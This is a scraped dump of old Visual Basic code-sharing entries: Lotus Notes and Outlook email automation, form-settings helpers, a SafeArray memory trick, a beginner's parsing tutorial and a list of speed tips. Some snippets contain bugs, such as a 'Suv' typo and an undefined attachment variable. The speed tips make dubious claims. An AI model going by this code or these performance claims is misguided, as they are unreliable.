Lotus Notes to send email\n' Description:Creates a Lotus Notes sess\n' ion and use it to send an email\n' By: apidude\n' attachments added by pcawdron\n'\n' Inputs:strMessage: The message\n'strSubject: the subject\n'strSendTo: the recipient 's email address\n'lngLogo:Specifies the letter head To use (Lotus Notes specific)\n'\n' Assumes:The Font & Color values for th\n' e NotesRichTextItem class I'm not too su\n' re of because I don't have the DevKit or\n' the headers\n'\n'This code is copyrighted and has' limited warranties.Please see http://w\n' ww.Planet-Source-Code.com/xq/ASP/txtCode\n' Id.32603/lngWId.1/qx/vb/scripts/ShowCode\n' .htm'for details.'**************************************\n\nFunction SendNotesMail(strMessage As String, _\n strSubject As String, _\n strSendTo As String, _\n lngLogo As Long, strAttachment As String)\n On Error GoTo NotesMail_Err\n Dim lnSession As Object\n Dim lnDatabase As Object\n Dim lnDocument As Object\n Dim lnRTStyle As Object\n Dim lRTItem As Object\n Dim lnATTACHMENT As Object\n Dim sMessage As String\n Dim lLogo As Long\n ''start a notes session...\n Set lnSession = CreateObject(\"Notes.Notessession\")\n ''create a new style object to control t\n ' he appearance of the message\n Set lnRTStyle = lnSession.CreateRichTextStyle\n ''get the current database...\n Set lnDatabase = lnSession.GetDatabase(\"\", \"\")\n lnDatabase.OpenMail\n ''create a new document\n Set lnDocument = lnDatabase.CreateDocument\n ''create a new NotesRichTextItem object\n ' in which we can store,\n ''and format the main message body in Ri\n ' chText format\n Set lnRTItem = lnDocument.CreateRichTextItem(\"Body\")\n \n If strAttachment <> \"\" Then\n Set lnATTACHMENT = lnRTItem.EMBEDOBJECT _\n (1454, \"\", strAttachment, \"Sample\")\n \n End If\n \n sMessage = \"Mail sent: \" & Date & \" \" & Time & vbCrLf & vbCrLf & _\n strMessage\n ''format the message\n lnRTStyle.NotesFont = 4 ''Courier\n lnRTStyle.Bold = True\n lnRTStyle.NotesColor = 2 ''red\n Call lnRTItem.AppendStyle(lnRTStyle)\n Call lnRTItem.AppendText(sMessage)\n 'Call lnRTItem.AddNewLine(1)\n ''logo values are between 0 and 31\n lLogo = lngLogo\n\n If lLogo < 0 Or lLogo > 31 Then\n lLogo = 0\n End If\n ''replace some of the fields that we nee\n ' d...\n\n With lnDocument\n ''who we want to send to...\n ''recipient\n .ReplaceItemValue \"SendTo\", strSendTo\n ''subject\n .ReplaceItemValue \"Subject\", strSubject\n ''body - non RichText\n '.ReplaceItemValue \"Body\", \"The body of\n ' the message!\"\n ''set the logo! (letter head)\n .ReplaceItemValue \"Logo\", \"StdNotesLtr\" & Trim$(Str$(lLogo))\n ''send the message\n \n \n .Send False\n \n End With\n Set lRTItem = Nothing\n Set lnRTStyle = Nothing\n Set lnDocument = Nothing\n Set lnDatabase = Nothing\n Set lnSession = Nothing\n MsgBox \"Mail was sent!\", vbInformation, _\n strSendTo\n Exit Function\nNotesMail_Err:\n MsgBox Err.Description, _\n vbExclamation, _\n \"Send mail error! (\" & Trim$(Str$(Err)) & \")\"\nEnd Function\nFunction Test_note()\n SendNotesMail \"Hello! This is an email message! with an attachment\", _\n \"Test Lotus Notes Email - Attachment test\", _\n \"youraddress@work\", 0, \"C:\\autoexec.bat\"\nEnd Function\n\n"},{"WorldId":1,"id":12105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11926,"LineNumber":1,"line":"Hey webmaster ! upload failed numerous times :-( \nplease, if you want/can put this on your site.\nhttp://www.fictional.net/software/ImagicaTelnet/ImagicaTelnet.zip\n"},{"WorldId":1,"id":31248,"LineNumber":1,"line":"Public Sub SaveValues(frmForm As Form)\n'\n' usage = place:\n' Call SaveValues(Me)\n' in the Form_Unload event\n' this will save all checkbox and textbox settings\n'\nDim ctlControl As Object\nOn Error Resume Next\nFor Each ctlControl In frmForm.Controls\nSaveSetting App.Title, \"Settings\", ctlControl.Name, ctlControl.Value\n'check boxes.....\nSaveSetting App.Title, \"Settings\", ctlControl.Name, ctlControl.Text\nDoEvents\nNext ctlControl\nEnd Sub\nPublic Sub SavePositions(frmForm As Form)\n'\n' usage = place:\n' Call SavePositions(Me)\n' in the Form_Unload event\n' this will save the forms size and position\n'\nOn Error Resume Next\nIf frmForm.WindowState = vbMinimized Then: Exit Sub 'don't want to come back minimized!!!\nSaveSetting App.Title, \"Settings\", frmForm.Name & \"top\", frmForm.Top\nSaveSetting App.Title, \"Settings\", frmForm.Name & \"left\", frmForm.Left\nSaveSetting App.Title, \"Settings\", frmForm.Name & \"width\", frmForm.Width\nSaveSetting App.Title, \"Settings\", frmForm.Name & \"height\", frmForm.Height\nEnd Sub\nPublic Sub GetValues(frmForm As Form)\n'\n' usage = place:\n' Call GetValues(Me)\n' in the Form_Load event\n' this will populate all checkbox and textbox settings\n'\nDim ctlControl As Object\nOn Error Resume Next\nFor Each ctlControl In frmForm.Controls\n'check boxes.....\nctlControl.Value = GetSetting(App.Title, \"Settings\", ctlControl.Name)\n'text boxes\nctlControl.Text = GetSetting(App.Title, \"Settings\", ctlControl.Name)\nDoEvents\nNext ctlControl\nEnd Sub\nPublic Sub GetPositions(frmAForm As Form)\n'\n' usage = place:\n' Call GetPositions(Me)\n' in the Form_Load event\n' this will save the forms size and position\n'\nOn Error Resume Next\nfrmAForm.Top = GetSetting(App.Title, \"Settings\", frmAForm.Name & \"top\", \"30\")\nfrmAForm.Left = GetSetting(App.Title, \"Settings\", frmAForm.Name & \"left\", \"30\")\nfrmAForm.Width = GetSetting(App.Title, \"Settings\", frmAForm.Name & \"width\")\nfrmAForm.Height = GetSetting(App.Title, \"Settings\", frmAForm.Name & \"height\")\nEnd Sub"},{"WorldId":1,"id":11944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11954,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13865,"LineNumber":1,"line":"'Explainaion - http://go.to/cyberprogrammer\nPrivate Sub cmdReplace_Click()\n Text1.Text = pReplace(Text1.Text, txtFind, txtReplace)\nEnd Sub\n\nPublic Function pReplace(strExpression As String, strFind As String, strReplace As String)\n Dim intX As Integer\n If (Len(strExpression) - Len(strFind)) >= 0 Then\n For intX = 1 To Len(strExpression)\n If Mid(strExpression, intX, Len(strFind)) = strFind Then\n strExpression = Left(strExpression, (intX - 1)) + strReplace + Mid(strExpression, intX + Len(strFind), Len(strExpression))\n End If\n Next\n End If\n pReplace = strExpression\nEnd Function\n"},{"WorldId":1,"id":23690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12126,"LineNumber":1,"line":"Option Explicit\n'Create a reference to the Word Automation Object\nDim w1 As Word.Application\nPrivate Sub Command1_Click()\n Dim I As Variant\n 'Empty the list box\n List1.Clear\n \n 'Check the spelling of the word...\n 'If not in dictionary, fill a list box with suggestions\n If w1.CheckSpelling(Text1.Text) = False Then\n Beep\n For Each I In w1.GetSpellingSuggestions(Text1.Text)\n List1.AddItem I\n Next\n If List1.ListCount = 0 Then\n List1.AddItem \"No suggestions\"\n End If\n Else\n List1.AddItem \"Spelling Correct\"\n End If\n \nEnd Sub\nPrivate Sub Form_Load()\n 'Open a new instance of Word\n Set w1 = New Word.Application\n 'Create a new document (necessary)\n w1.Application.Documents.Add\n \n 'Disable the following line if you don't want to see Word\n w1.Visible = True\nEnd Sub\nPrivate Sub Form_Terminate()\n 'Quit, ignoring changes\n w1.Quit False\n Set w1 = Nothing\nEnd Sub\n"},{"WorldId":1,"id":12127,"LineNumber":1,"line":"Intellisense:\nVB is very kind in that as you start typing code it shows you a list of compatible objects that you can select from by using the tab and cursor keys.\nThis is called intellisense.\nBut if you select the wrong word and try to go back, the box doesn't reappear by itself.\nI used to delete the whole word and the space or dot or parentheses and retype it to make the list reappear again.... until I discovered a keyboard shortcut!!!!!\n Ctrl+J - Makes the list appear again!\n Ctrl+Space - Completes your typing!\nQuick Info:\nThe same thing happens with Quick Info (the tooltip which shows you the purpose and type of each parameter in a method/function):\n Ctrl+I - Reshows Quick Info\nMove between Open Editor Windows:\n Ctrl+Tab\nDisplay the Immediate (Debug) Window:\n Ctrl+G\nStop Execution:\nWhen your program put VB in endless loops this keyboard shortcut is usually successfull:\n Ctrl+Break - Stop exectution\nGoto Definition:\nTo move quickly to a function/method or variable definition:\n Shift+F2"},{"WorldId":1,"id":12101,"LineNumber":1,"line":"Option Explicit\n'Create an object to refererence the Outlook App.\n'This is simular to a pointer and is declared in this way...\n'...to allow early binding, making the code more efficient.\nPrivate o1 As Outlook.Application\nPrivate Sub Form_Load()\n \n 'Create an instance of Outlook\n Set o1 = New Outlook.Application\nEnd Sub\nPrivate Sub Form_Terminate()\n \n 'Comment out this line if you don't want to close Outlook\n o1.Quit\n \n 'The next line frees up the memory used\n Set o1 = Nothing\n \nEnd Sub\n\nPrivate Sub CreateEmail(Recipient As String, Subject As String, Body As String, Attach As String)\n \n 'Create a reference to a mail item\n Dim e1 As Outlook.MailItem\n \n 'Create a new mail item\n Set e1 = o1.CreateItem(olMailItem)\n \n 'Set a few of the many possible message parameters.\n e1.To = Recipient\n e1.Subject = Subject\n e1.Body = Body\n \n 'This is how you add attatchments\n If Attach <> vbNullString Then\n e1.Attachments.Add Path\n End If\n \n 'Commit the message\n e1.Send\n 'Free up the space\n Set e1 = Nothing\n \nEnd Sub\n\nPrivate Sub CreateContact(Name As String, Nick As String, Email As String)\n \n 'Create a reference to a Contact item\n Dim e1 As Outlook.ContactItem\n \n 'Create a new contact item\n Set e1 = o1.CreateItem(olContactItem)\n \n 'Set a few of the many possible contact parameters.\n e1.FullName = Name\n e1.NickName = Nick\n e1.Email1Address = Email\n \n 'Commit the contact\n e1.Save\n 'Free up the space\n Set e1 = Nothing\n \nEnd Sub\nPrivate Sub CreateAppointment(StartTime As Date, Endtime As Date, Subject As String, Location As String)\n \n 'Create a reference to a Appointment item\n Dim e1 As Outlook.AppointmentItem\n \n 'Create a new appointment item\n Set e1 = o1.CreateItem(olAppointmentItem)\n \n 'Set a few of the many possible appointment parameters.\n e1.Start = StartTime\n e1.End = Endtime\n e1.Subject = Subject\n e1.Location = Location\n \n 'If you want to set a list of recipients, do it like this\n 'e1.Recipients.Add Name\n \n 'Commit the appointment\n e1.Send\n 'Free up the space\n Set e1 = Nothing\n \nEnd Sub\n"},{"WorldId":1,"id":12104,"LineNumber":1,"line":"When editing a line source code sometimes you need to move to another line to copy or make changes there.\nBy default a horrible MessageBox appears telling you that the line you were editing has incorrect syntax.\nYou can prevent this by entering in:\n Tools > Options\n...and unselect \"Auto Syntax Check\"\nThe incomplete line still turns red but the annoying box is now gone!"},{"WorldId":1,"id":13788,"LineNumber":1,"line":"Private Sub GradientFill()\n Dim i As Long\n Dim c As Integer\n Dim r As Double\n r = ScaleHeight / 3.142\n 'Hint: Multiplying r by differnt values give different effects (try 2.3)\n For i = 0 To ScaleHeight\n c = Abs(220 * Sin(i / r))\n 'Hint: Changing sin to cos reverses range\n Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30)\n 'Hint: Notice the bias to blue. You can be more subtle by reducing this number (try 10). Try other colours too.\n Next\nEnd Sub\nPrivate Sub Form_Load()\n Me.ScaleMode = 3\n Me.AutoRedraw = True\nEnd Sub\nPrivate Sub Form_Resize()\n GradientFill\nEnd Sub"},{"WorldId":1,"id":13935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14905,"LineNumber":1,"line":"'Paste all this in the form code of a new project, run it, and step into it to follow the process:\n' This is a redeclaration of VB's VarPtr that forces it to return the address of the array descriptor structure:\nPrivate Declare Function GetArrayPtr Lib \"msvbvm60.dll\" Alias \"VarPtr\" ( _\n Ptr() As Any _\n) As Long\n' This is a translation into VB code of C++'s safearray descriptor structure:\nPrivate Type SafeArrayBound\n lNumOfElements As Long\n lLowBound As Long\nEnd Type\nPrivate Type SafeArr\n iDimensions As Integer\n iFeatures As Integer\n lElementSize As Long\n lLocks As Long\n lDataPtr As Long\n saBound(0) As SafeArrayBound\nEnd Type\nPrivate Const FADF_AUTO = &H1\t\t' Array is allocated on the stack.\nPrivate Const FADF_FIXEDSIZE = &H10\t' Array may not be resized or reallocated.\nPrivate Sub FillMyBytesArray()\nDim Bytes() As Byte ' creates an array descriptor of type SafeArr pointing to no data\nDim sMyString As String ' will hold data that I'll use as the data that Bytes() is pointing to\nDim aMySAB(0) As SafeArrayBound\nDim aMySA As SafeArr\nDim sResult As String\nDim i As Integer\n sMyString = \"This is a relatively short string\"\n ' create the descriptor that will replace the Bytes() array descriptor declared above\n With aMySAB(0) ' Description of an array dimension (size and lbound)\n ' the string is stored as unicode, which means that the 1st word is stored as \"T\" + chr(0) + \"h\" + chr(0) + \"i\" + chr(0) + \"s\" + chr(0)\n ' so that there are really twice as many bytes stored as the length of the string:\n .lNumOfElements = 2 * Len(sMyString) ' number of elements in this array dimension\n .lLowBound = 0 ' specifies the array's Lbound value\n End With\n With aMySA\n ' this is a 1-dimension byte array:\n .iDimensions = 1\n .lElementSize = 1 ' size of each element\n .iFeatures = FADF_AUTO Or FADF_FIXEDSIZE ' Flags that enable array features.\n .lDataPtr = VarPtr(ByVal sMyString) ' make the descriptor point to the declared string data. ByVal is VERY important.\n .saBound(0) = aMySAB(0) ' describes each dimension of the array, in this case only one.\n End With\n ' move the memory contents of the descriptor to the address of the Bytes() array descriptor, the ByVal is VERY important if you don't want to overwrite memory and risk a crash!\n CopyMemory ByVal GetArrayPtr(Bytes), VarPtr(aMySA), 4\n ' Reattach all the bytes together to reconstruct sMyString. Notice that Bytes() now has data, and that there is no error calling Ubound(Bytes):\n For i = 0 To UBound(Bytes)\n sResult = sResult & Chr(Bytes(i))\n Next i\n ' Since we read the string data directly from memory, we have unicode, and we have to disregard all odd array indexes, or convert the result string from unicode:\n sResult = StrConv(sResult, vbFromUnicode)\n ' now sResult contains the same data as sMyString.\nEnd Sub\nPrivate Suv Form_Load()\n FillMyBytesArray ' call the sub above\nEnd Sub\n' I will post more on this topic if it becomes popular\n"},{"WorldId":1,"id":13408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31404,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30043,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14424,"LineNumber":1,"line":"\nParsing concepts & Parsing Algorithms\nINTRODUCTION (about this article)\n In this article, I will be looking at the concepts of parsing and parser construction. This article is not meant as a tutorial, or a discussion article, but rather a mix of the two. I will explore mostly the most commonly used and simplest (yet efficient) parsing method - Left to Right / Top to bottom parsing. In this example I will include a few examples for use with Visual Basic. In fact, this article is based around parsing using VB, and will review standard string manipulation functions for people who may not be familiar with them. Please note that I am 15 years old, but I’ve been programming in VB for 3 years and now use C and C++ as well. (I’d recommend building any complex parsers in C or C++, due to faster processing speeds, although VB.NET has sufficient processing speed for a large array of parsing tasks.)\nPARSING IS looking through a string (a "sentence" or set of characters) and interpreting it as commands, or translating it, or basically setting up reactions when certain "sets" of characters are encountered or found.\n \n \nSECTION 1 - String Manipulation\n Ok, first of all, I will run you through a review of string manipulation functions and string parsing methods (InStr, Mid, Left, Right, Ucase, Lcase etc.) if you’re already familiar with these functions, you can skip this part and proceed to section 2. As you hopefully already know, a string is a set of characters from the ASCII character set, for example "The Quick Brown Fox Jumped Over The Lazy Dog" is a string.\nIn parsing, you obviously work with these strings a lot. I will discuss the elements of parsing in SECTION2, but this is just to look over how we "look" ata string. First of all, these are the string manipulation functions available in VB (some may only be available in VB6, I’ve tried to note the ones that are)\n* Mid - For getting a set of characters from the middle of a string.\n* InStr - For Searching in one string for an occurrence another string (returns the position of the found string).\n* Left - For extracting the leftmost character(s) from a string.\n* Right - For extracting the rightmost characters from a string.\n* Replace - To replace one set of characters with another (VB6 and up only).\n* Len - For getting the length of a specified string.\n \nI wont dive to deeply into how to use these function’s syntax, you can refer to the VB help file in the Strings category to find a full set of instructions and examples on how to utilize these. Although we WILL be exploring the use of these functions, and at that time I will explain how to use them properly.\n \nSECTION 2 - Types of parsers\n There are two different types of parsers, and I’m not talking about the method in which they parse. I will call them Translator Parsers, and Command Parsers (there may be other types but I’m sticking to these two) Translators are converters, they take the data they are given and output new data. A compiler would be a perfect example of a translator, it takes the computer syntax and translates it into machine code.\n A command parser is a parser that actually does something when it interprets a certain "Command" - for a good example would be a script executor, it finds a command in the script, and it does convert the syntax to a string, instead, it executes a command or subroutine)\n \nSECTION 3 - The FIVE parts of a parsing algorithm\n I have divided parsing algorithms into 5 basic parts to allow you to better understand the process of parsing a string. They are each defined below…\nINPUT - The data that is given to the parser, usually a string. This is the data that the parser will parse through and will work with in the first place.\nOUTPUT - The output is what the end product is (and maybe I should of put this part last in the list) it is what we lend up with after the parsing is complete. The output only exists if the parser is meant to conduct some sort of "translation" of the input (translation parsers take data and output other data accordingly, for more info on types of parsers, see section 2). Like if the parser’s purpose was to reverse all the letters in a sentence then the output of "Hello World" would be "dlroW olleH" - the input was "Hello World" and the output was "dlroW olleH".\nINTERPRETATION - How the parser interpret the input. Does it see it as a set of commands, or as a language to be translated, what does it look for, what is It trying to find, and what will it do when it finds it. (see section 2 if you haven’t read it already and don’t get what I’m talking about here.)\nPROCESSING - What the parser does once it interprets the data, for example, in the VB parser, when it finds the string "MsgBox" it knows that it will be displaying a message box, and the process it takes is looking for the message box properties. Then, after finding the properties (Caption, Buttons, Icon etc.) it displays a message box accordingly. Processing can add to the output depending on what it finds, or it can react, like the message box example, and interpret strings as commands.\n \nSECTION 4 - Constructing a parser…\n Yeah! We’re finally past all that boring $hit about parts of a parser and stuff!!! In this section, we’re gunna build a parser to execute our own message box script. Go into VB and create a new project and a form and place a textbox on the form and a command button, put he buttons Caption to Execute and make the button’s name "CmdExe" and keep the name of the textbox as the default \"Text1\".\nNow we’re gunna construct the parsing algorithm… When writing an algorithm of any sort, its good to figure out what steps the computer will need to take, or in mathematics, what equation the computer will use. In our case here, we’ll say that in our new script, the code for a message box is MSB followed by the properties in some angel-brackets then the caption in quotes – something like this…\nMSB<"Hello World!">\nSo the first thing we did was figure out what the script might look like (which is a good idea for any type of script or language designing)\n Ok, so what are we gunna do to turn this little script into a message box? – here’s what…\n First of all, we need to find the string that tells us to make a message box – in this case, we’re looking for "MSB" so here’s what we put I our code.\n‘---------------------------------------------------------------------\nPrivate Sub CmdExe_Click()\n Dim CP 'CP will keep track of the\n 'Position of the command\n \n CP = InStr(1, UCase(Text1).Text, \"MSB\")\n 'ok, now CP will know the position of the word \"MSB\"\n 'note that we used UCase(Text1.Text) which converts the string\n 'in text1 to all uppercase so we don’t have to worry about\n 'case sensitivity\nEnd Sub\n‘----------------------------------------------------------------------\nNow we’ve found the command we’re looking for, this type of parsing isn’t top to bottom parsing, this type is just finding any possible commands. We should check to make sure the script has a ‘ <" ’ and a ‘ "> ‘. So we’ll do that and if we know they have put it in, we’ll need to find the caption of the message box, otherwise give them an error message! We’ll be storing the caption for further use as a variable. We can call our variable "MBCap" so here’s what the code will look like now…\n‘----------------------------------------------------------------------\nPrivate Sub CmdExe_Click()\n Dim CP, CP2, CP3, CP4 'CP will keep track of the\n 'Position of the command\n Dim MBCap As String 'Stores the caption of\n 'the message box for further use\n \n CP = InStr(1, UCase(Text1.Text), \"MSB\")\n If CP = 0 Then Exit Sub 'if we dont find it, discontinue\n 'If we found it it will continue\n 'ok, now CP will know the position of the word \"MSB\"\n 'note that we used UCase(Text1.Text) which converts the string\n 'in text1 to all uppercase so we dont have to worry about\n 'case sensitivity\n 'NOW WE CHECK FOR THE <\" and \">\n CP2 = Mid(Text1.Text, CP + 3, 2) 'this selects the 2 characters directly\n 'after the word MSB\n 'check for the second\n CP3 = InStr(CP + 5, Text1.Text, Chr(34) & \">\")\n CP4 = Mid(Text1.Text, CP3, 2)\n \n If CP2 = \"<\" & Chr(34) And CP4 = Chr(34) & \">\" Then\n 'the if says if we found <\" and \"> the continue\n Else\n Exit Sub 'otherwise discontiue with this sub\n End If\nEnd Sub\n‘-----------------------------------------------------------------------------\n As you more advanced programmers can see, I haven’t been the most efficient, but this is just one of thoughs things where simple is better. Now we need to extract the caption of the button, so this is how we do that, we’re gunna find the length of the caption by subtracting the position of the "> from the position of the ">, then we’ll select the caption and store it as a string for later use.\nNow this is what the code should look like… (Copy it into your program, be sure to study it though)\n‘-------------------------------------------------------------------------------\nPrivate Sub CmdExe_Click()\n Dim CP, CP2, CP3, CP4 'CP will keep track of the\n 'Position of the command\n Dim MBCap As String 'Stores the caption of\n 'the message box for further use\n Dim CapLen As Integer 'stores the captions length\n \n CP = InStr(1, UCase(Text1.Text), \"MSB\")\n If CP = 0 Then Exit Sub 'if we dont find it, discontinue\n 'If we found it it will continue\n 'ok, now CP will know the position of the word \"MSB\"\n 'note that we used UCase(Text1.Text) which converts the string\n 'in text1 to all uppercase so we dont have to worry about\n 'case sensitivity\n 'NOW WE CHECK FOR THE <\" and \">\n CP2 = Mid(Text1.Text, CP + 3, 2) 'this selectd the 2 characters directly\n 'after the word MSB\n 'check for the second\n CP3 = InStr(CP + 5, Text1.Text, Chr(34) & \">\")\n CP4 = Mid(Text1.Text, CP3, 2)\n \n If CP2 = \"<\" & Chr(34) And CP4 = Chr(34) & \">\" Then\n 'the if says if we found <\" and \"> the continue\n Else\n Exit Sub 'otherwise discontinue with this sub\n End If\nCapLen = CP3 - (CP + 5)\n MBCap = Mid(Text1.Text, CP + 5, CapLen)\n MsgBox MBCap\nEnd Sub\n‘--------------------------------------------------------------------------------\nNOW if you run it and type MSB<"Hello WORLD!"> in the textbox, press execute and you get a message box with ‘hello WORLD!’ on it!\n I got tired hands, and I’m only 15, and I have school, so I’ll continue this tomorrow, happy programming, please vote!"},{"WorldId":1,"id":27931,"LineNumber":1,"line":"'USE THIS in place of your regular\n'circle collision detection function\n'Only takes APROX. 45% of the time of\n'traditional circle collision dectect\nPublic Function OptCircCollide(X1 As Long, _\nY1 As Long, X2 As Long, Y2 As Long, _\nR1 As Long, R2 As Long) _\nAs Boolean\nDim X2mX1 As Long 'pre-calculate x2 - x1\nDim Y2mY1 As Long 'pre-calculate y2 - y1\n \nX2mX1 = X2 - X1\nY2mY1 = Y2 - Y1\n'calculate distance between 2 points on\n'a X-Y grid:\nIf Sqr((X2mX1 * X2mX1) + (Y2mY1 * Y2mY1)) _\n<= R2 + R1 Then OptCircCollide = True\nEnd Function\n"},{"WorldId":1,"id":30219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25924,"LineNumber":1,"line":"<center>\nNotes about optimising code...</center>\n\nIMPORTANT: Alot of this stuff is common knowledge, and alot of you might start reading this and laugh because it seems like pretty simple stuff, but make sure you read the whole thing because i'm sure theres a few things in here you didn't know yet... The following has been discovered by day-to-day trial, or even personal experiments i have prepared to test processing speed in diferent conditions... Enjoy\n\nBoolean values process faster\nthan byte values\n\nselect case work faster than If statements\n\nbytes, integers, and long variable types work faster\nthan other numeric data-types because they dont have\nany decimal points...\n\nFor...Next loops work faster than Do...Loop loops\n\nWhen changing multiple attributes of the same object\nor type, using the With statement will speed up processing\n\nWhen working with graphics processing, keeping graphics' width and height attributes\nin the binary system (8,16,32,64,128,256 etc.) allows faster \nprocessing on some systems\n\nAvoid using the Sqr statement whenever possible, (used\noften in games for trig and circular collision detection)\nit is known to take great time processing...\n\nUse the smallest data-type possible when declaring a variable -\nit will use less ram, and generally process faster...\n\nYou can use the LoadResString function instead of string\nliterals in your code. Storing long strings of data in and accessing them from resource files improves load time because you can load them individually as needed from the resource file, rather than all at once when a form is loaded.\n\n using the Load statement to pre-load forms allows forms to be shown instantly when the form's Show event is called... Use the Unload statement to unload the form out of memory when your program is done with it...\n\n Constants are easier to program wth, but did ya know they process alot slower than raw numbers... instead of declaring a Const and using it through-out your program, try feeding your program raw data instead, according to my tests, raw numbers are referenced and processed 23% faster than equivilant constants...\n Constants do process ever-slightly faster than equivilant variables, clocked at being 2.1% faster in processing and reference speed then equivilant variables...\n Try to avoid using VB timer controls whenever possible and use LOOPs instead, they work faster, and can even be more accurate if you make a code timer... this rule applies more to games and whatnot then to any other type of program, and FYI - timers dont process any quicker than about 56MS, even when their interval is set below that value\n Any images you use in your program will increase the size of your final executable file, to help keep this problem to a minimum, it is a good idea to save any images as JPGs or GIFs, when the images are compiled into the executable, the file size is greatly reduced.\n Try to avoid using brackets in mathimatical equations where they are not needed, this boggs down processing time aswell...\n More optimizations can be performed from VB's project properties Compile options screen (see VB help for more info)."},{"WorldId":1,"id":13991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33373,"LineNumber":1,"line":"Article #2 Using the Win32 API in VB\nForeword\nIn this article we'll see how to access the Win32 API from the Visual Basic environment. We'll start with the basics of declaring and using an API function. From there we'll move on to discussing parameter passing, passing by value, passing by reference, aliasing etc. in the course of this we develop a small utility that displays the computer name in a message box.\n\nAs discussed in Article#1, the API functions are declared in DLLs located in the Windows System directory. You can type in the declaration of an API just as you do with any other function exported from a DLL, but VB has provided an easier way to do it. It is called API Text Viewer. This was available as a standalone application in VB5. In VB6 this can be run as a standalone app or as an addin. \n\nTo have some API function(s) declared in your project, just launch API Text Viewer, open Win32Api.txt (or .MDB if you have converted it into a database to speed it up), choose Declares, find the function, and click Add and then Copy. Go to your project and paste it in. Do the same to have a predefined constant or type. This saves quite lot of typing. Also it eliminates the errors caused due to mistyping.\n\nHowever, you need to watch out for these common glitches:\n\nΓÇó\tIf you copy the declarations right from the API Text Viewer, the scope of the function is not specified. Since the scope is Public by default, the function has public scope. But VB does not allow public Declare statements within form modules. So if we are copying the Declare statements into a form module, they should be explicitly specified as Private. \n\nThis strategy has its own problems as this makes the declarations invisible outside the module in which they are defined. So the functions should be declared in every module that needs to use them. Declaring them in a separate .BAS module where they can be declared as Public and are therefore accessible to all the modules eliminates this duplication. This also permits easier code maintenance.\n\nΓÇó\tAnother common error is the Ambiguous Name detected error. Put simply this means that the module contains more than one function or constant having the same name, causing the ambiguity. Since most of the functions are Aliased (see Aliasing, later in this article), they are referred to by different names. In such cases we can change the function name at the declaration and invocation points and the code will work 